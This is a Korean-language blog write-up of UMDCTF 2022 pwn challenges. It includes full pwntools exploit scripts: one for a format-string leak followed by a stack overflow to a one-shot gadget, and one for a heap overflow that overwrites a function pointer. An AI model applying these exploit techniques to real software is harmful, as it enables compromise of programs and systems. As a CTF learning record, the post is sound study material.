본문 바로가기

CTF

UMDCTF 2022 후기

접근 방법을 알 것 같은데 못 푼 문제와 접근조차 모르는 flask 관련된 문제가 나왔다

Legacy

problem

blind rop인줄 알았다;;

error

traceback를 보면 python으로 작성된 것을 알 수 있고 python2 input 취약점을 활용한 문제이다
( 참고 https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/)

flag



Classic Act

problem

fsb로 stdout주소와 canary 릭하고 bof로 ret 주소에 oneshot 가젯 넣어서 푼 문제다

mitigation

main함수에서는 단순 vuln함수를 호출한다

vuln

fsb와 bof가 터진다 payload를 작성할 때 조건문에서 strncmp로 문자열과 동일한지 검사를 수행한다

from pwn import *

p = remote("0.cloud.chals.io", 10058)
#p = process("./classicact")
e = ELF("./classicact")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

stdout_off = libc.symbols['_IO_2_1_stdout_']
oneshot_off = 0xe3b31

def leak(a):
    p.recvuntil(b"0x")
    leak = int(p.recv(a), 16)
    return leak



p.recvuntil(b"Please enter your name!\n")
p.sendline("%12$lp %19$lp")

stdout = leak(12)
cnry = leak(16)



libc_base = stdout - stdout_off
oneshot = libc_base + oneshot_off

log.info("libc_base: " + hex(libc_base))
log.info("oneshot: " + hex(oneshot))
log.info("canary: " + hex(cnry))
log.info("stdout: " + hex(stdout))

payload = b"Play in UMDCTF!\x00"
payload += b"A" * 0x38
payload += p64(cnry)
payload += b"A" * 8
payload += p64(oneshot)

p.recvuntil(b"What would you like to do today?\n")
p.sendline(payload)

p.interactive()

리모트 환경이 로컬 환경과 동일해서 편하게 로컬 라이브러리 사용했다

flag




The Show Must Go On

problem

단순 힙오버 플로우 내서 기존에 실행된 함수 주소를 플레그를 출력 시키는 함수로 덮으면 되는 문제

mitigation

setup함수


setup함수에서는 힙을 할당하고 메시지를 출력하고 호출할 함수인 tellAjoke함수를 mainAct+96에 저장한다

vuln

이후에 message1과 message3를 free하는데 malloc_set을 통해 원하는 값 + 8 크기만큼의 힙을 할당받을 수 있다
그리고 fgets를 통해 할당받은 힙에서부터 500byte데이터를 입력받아 힙 오버 플로우가 발생한다

whatToDo

whatToDo함수에서는 switch문이 있는데 case 1에서 currenAct + 96에 위치한 함수를 호출한다
currentAct는 setup함수에서 mainAct의 주소를 저장하였다

win함수



그래서 main+96이전에 message3의 freed chunk의 크기만큼 재할당 받고 fgets에서 오버플로우는 내서 mainAct+96 위치에 위의 win함수를 넣어서 flag를 출력시키도록 해주면 된다

from pwn import *


p = remote("0.cloud.chals.io", 30138)
#p = process("./theshow")

win = 0x400bed


p.recvuntil(b" name of your act?\n")
p.sendline(b"A")

p.recvuntil(b"do you want the show description to be?\n")
p.sendline(b"120")


payload = b"A" * 0xf0
payload += p64(win)

p.recvuntil(b"or us:\n")
p.sendline(payload)

p.recvuntil(b"Action: ")
p.sendline(b"1")



p.interactive()

flag

'CTF' 카테고리의 다른 글

UTCTF 2022 / smol  (0) 2022.03.14
1337UP LIVE CTF 2022 후기  (0) 2022.03.13
FOOBAR 2022 후기  (0) 2022.03.05
test  (0) 2021.08.29
PWN / fake_canary  (0) 2021.07.31